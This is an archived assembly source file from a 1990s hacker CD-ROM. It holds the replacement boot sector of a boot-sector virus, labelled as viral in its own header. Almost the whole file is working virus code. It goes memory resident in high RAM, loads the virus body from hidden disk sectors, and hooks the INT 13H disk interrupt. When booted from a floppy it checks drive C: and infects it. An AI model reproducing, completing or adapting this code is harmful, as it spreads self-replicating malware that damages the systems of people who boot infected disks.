home *** CD-ROM | disk | FTP | other *** search
/ HaCKeRz Kr0nlcKLeZ 1 / HaCKeRz Kr0nlcKLeZ.iso / chibacity / gbbdisk.arj / BBS / BOOT.ASM < prev    next >
Encoding:
Assembly Source File  |  1995-06-28  |  6.7 KB  |  149 lines

  1. ;*******************************************************************************
  2. ;* THIS IS THE REPLACEMENT (VIRAL) BOOT SECTOR                                 *
  3. ;*******************************************************************************
  4.  
  5.         ORG     7C00H                           ;Starting location for boot sec
  6.  
  7.  
  8. BOOT_START:
  9.         jmp     SHORT BOOT                      ;jump over data area
  10.         db      090H                            ;an extra byte for near jump
  11.  
  12. BOOT_DATA:
  13. BS_ID              DB      '        '      ;identifier for boot sector
  14. BS_BYTES_PER_SEC   DW      ?               ;bytes per sector
  15. BS_SECS_PER_CLUST  DB      ?               ;sectors per cluster
  16. BS_RESERVED_SECS   DW      ?               ;reserved sectors at beginning of disk
  17. BS_FATS            DB      ?               ;copies of fat on disk
  18. BS_DIR_ENTRIES     DW      ?               ;number of entries in root directory
  19. BS_SECTORS_ON_DISK DW      ?               ;total number of sectors on disk
  20. BS_FORMAT_ID       DB      ?               ;disk format ID
  21. BS_SECS_PER_FAT    DW      ?               ;number of sectors per FAT
  22. BS_SECS_PER_TRACK  DW      ?               ;number of sectors per track (one head)
  23. BS_HEADS           DW      ?               ;number of heads on disk
  24. BS_DBT             DB      34 dup (?)
  25.  
  26. ;The following are for the virus' use
  27. VIRCX   dw      0                               ;cx and dx for trk/sec/hd/drv
  28. VIRDX   dw      0                               ;of virus location
  29.  
  30. ;The boot sector code starts here
  31. BOOT:
  32.         cli                                     ;interrupts off
  33.         xor     ax,ax
  34.         mov     ss,ax
  35.         mov     ds,ax
  36.         mov     es,ax                           ;set up segment registers
  37.         mov     sp,OFFSET BOOT_START            ;and stack pointer
  38.         sti
  39.  
  40.         mov     cl,6                            ;prep to convert kb's to seg
  41.         mov     ax,[MEMSIZE]                    ;get size of memory available
  42.         shl     ax,cl                           ;convert KBytes into a segment
  43.         sub     ax,7E0H                         ;subtract enough so this code
  44.         mov     es,ax                           ;will have the right offset to
  45.         sub     [MEMSIZE],(VIR_SIZE+3)/2        ;go memory resident in high ram
  46.  
  47. GO_RELOC:
  48.         mov     si,OFFSET BOOT_START            ;set up ds:si and es:di in order
  49.         mov     di,si                           ;to relocate this code
  50.         mov     cx,256                          ;to high memory
  51.         rep     movsw                           ;and go move this sector
  52.         push    es
  53.         mov     ax,OFFSET RELOC
  54.         push    ax                              ;push new far @RELOC onto stack
  55.         retf                                    ;and go there with retf
  56.  
  57. RELOC:                                          ;now we're in high memory
  58.         push    es                              ;so let's install the virus
  59.         pop     ds
  60.         mov     bx,OFFSET BBS                   ;set up buffer to read virus
  61.         mov     cx,[VIRCX]
  62.         mov     dx,[VIRDX]
  63.         mov     si,VIR_SIZE+1                   ;read VIR_SIZE+1 sectors
  64. LOAD1:  push    si
  65.         mov     ax,0201H                        ;read VIR_SIZE+1 sectors
  66.         int     13H                             ;call BIOS to read it
  67.         pop     si
  68.         jc      LOAD1                           ;try again if it fails
  69.         add     bx,512                          ;increment read buffer
  70.         inc     cl                              ;get ready to do next sector--inc sector count
  71.         cmp     cl,BYTE PTR [BS_SECS_PER_TRACK] ;last sector on track?
  72.         jbe     LOAD2                           ;no, continue
  73.         mov     cl,1                            ;yes, set sector=1
  74.         inc     dh                              ;try next side
  75.         cmp     dh,BYTE PTR [BS_HEADS]          ;last side?
  76.         jb      LOAD2                           ;no, continue
  77.         xor     dh,dh                           ;yes, set side=0
  78.         inc     ch                              ;and increment track count
  79. LOAD2:  dec     si
  80.         jnz     LOAD1
  81.  
  82. MOVE_OLD_BS:
  83.         xor     ax,ax                           ;now move old boot sector into
  84.         mov     es,ax                           ;low memory
  85.         mov     si,OFFSET SCRATCHBUF            ;at 0000:7C00
  86.         mov     di,OFFSET BOOT_START
  87.         mov     cx,256
  88.         rep     movsw
  89.  
  90. SET_SEGMENTS:                                   ;change segments around a bit
  91.         cli
  92.         mov     ax,cs
  93.         mov     ss,ax
  94.         mov     sp,OFFSET BBS                   ;set up the stack for the virus
  95.         sti
  96.         push    cs                              ;and also the es register
  97.         pop     es
  98.  
  99. INSTALL_INT13H:                                 ;now hook the Disk BIOS int
  100.         xor     ax,ax
  101.         mov     ds,ax
  102.         mov     si,13H*4                        ;save the old int 13H vector
  103.         mov     di,OFFSET OLD_13H
  104.         movsw
  105.         movsw
  106.         mov     ax,OFFSET INT_13H               ;and set up new interrupt 13H
  107.         mov     bx,13H*4                        ;which everybody will have to
  108.         mov     ds:[bx],ax                      ;use from now on
  109.         mov     ax,es
  110.         mov     ds:[bx+2],ax
  111.  
  112. CHECK_DRIVE:
  113.         push    cs                              ;set ds to point here now
  114.         pop     ds
  115.         mov     dx,[VIRDX]
  116.         cmp     dl,80H                          ;if booting from a hard drive,
  117.         jz      DONE                            ;nothing else needed at boot
  118.  
  119. FLOPPY_DISK:                                    ;if loading from a floppy drive,
  120.         call    IS_HARD_THERE                   ;see if a hard disk exists here
  121.         jz      DONE                            ;no hard disk, all done booting
  122.         mov     ax,201H
  123.         mov     bx,OFFSET SCRATCHBUF
  124.         mov     cx,1
  125.         mov     dx,80H
  126.         int     13H
  127.         call    IS_VBS                          ;and see if C: is infected
  128.         jz      DONE                            ;yes, all done booting
  129.         call    INFECT_HARD                     ;else go infect hard drive C:
  130.  
  131. DONE:
  132.         xor     ax,ax                           ;now go execute old boot sector
  133.         push    ax                              ;at 0000:7C00
  134.         mov     ax,OFFSET BOOT_START
  135.         push    ax
  136.         retf
  137.  
  138. END_BS_CODE:
  139.  
  140.         ORG     7DBEH
  141.  
  142. PART:   DB      40H dup (?)                     ;partition table goes here
  143.  
  144.         ORG     7DFEH
  145.  
  146.         DB      55H,0AAH                        ;boot sector ID goes here
  147.  
  148. ENDCODE:                                        ;label for the end of boot sec
  149.